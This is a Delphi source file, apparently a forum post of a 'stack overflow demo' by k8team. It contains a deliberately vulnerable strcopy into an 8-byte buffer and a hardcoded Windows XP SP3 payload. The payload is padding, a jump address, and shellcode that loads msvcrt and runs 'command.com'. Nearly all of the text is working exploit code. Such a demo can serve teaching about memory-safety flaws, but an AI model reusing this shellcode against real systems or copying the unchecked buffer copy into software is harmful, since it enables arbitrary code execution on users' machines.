[源码]Dephi溢出demo( Shellcode for XP)

[源码]Dephi溢出demo( Shellcode for XP)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button3: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
 const
     ShellCodeSize = $00000079;  //16进制 -  121
//delphi overflow demo  by k8team
ShellCode : Array[0..ShellCodeSize-1] of byte =
(
//AAAA BBBB CCCC
$41,$41,$41,$41,$42,$42,$42,$42,$43,$43,$43,$43,   //115 73

$12,$45,$fa,$7f,  // xp sp3 跳转地址

//CMD ShellCode
$55,$8B,$EC,$33,$C0,$50,$50,$50,    //105  69
$C6,$45,$F4,$4D,$C6,$45,$F5,$53,
$C6,$45,$F6,$56,$C6,$45,$F7,$43,
$C6,$45,$F8,$52,$C6,$45,$F9,$54,
$C6,$45,$FA,$2E,$C6,$45,$FB,$44,
$C6,$45,$FC,$4C,$C6,$45,$FD,$4C,
$8D,$45,$F4,$50,$BA,$7B,$1D,$80,
$7C,$FF,$D2,$55,$8B,$EC,$83,$EC,
$2C,$B8,$63,$6F,$6D,$6D,$89,$45,
$F4,$B8,$61,$6E,$64,$2E,$89,$45,
$F8,$B8,$63,$6F,$6D,$22,$89,$45,
$FC,$33,$D2,$88,$55,$FF,$8D,$45,
$F4,$50,$B8,$C7,$93,$BF,$77,$FF,
$D0
);

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var k8test:pchar;
  procedure k8overflow(k8test:pchar);
  var test :array[0..7] of char;
  begin
    k8test:=pchar(edit1.text);
    strcopy(test,k8test);     //溢出
  end;
begin

  k8test:=pchar(edit1.text);
  k8overflow(k8test);

  application.MessageBox('没有溢出！','test');

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  application.MessageBox('溢出了！','test');
end;

procedure TForm1.Button3Click(Sender: TObject);
var k8test:pchar;
  procedure k8overflow(k8test:pchar);
  var test :array[0..7] of char;
  begin

     k8test:=@ShellCode;

     strcopy(test,k8test);  //溢出

  end;
begin

  k8test:=pchar(edit1.text);
  k8overflow(k8test);
  application.MessageBox('没有溢出！','test');

end;

end.

https://github.com/k8gege/K8tools/blob/master/Dephi%E6%BA%A2%E5%87%BAdemo%20by%20k8team_1103%5BK8%5D.rar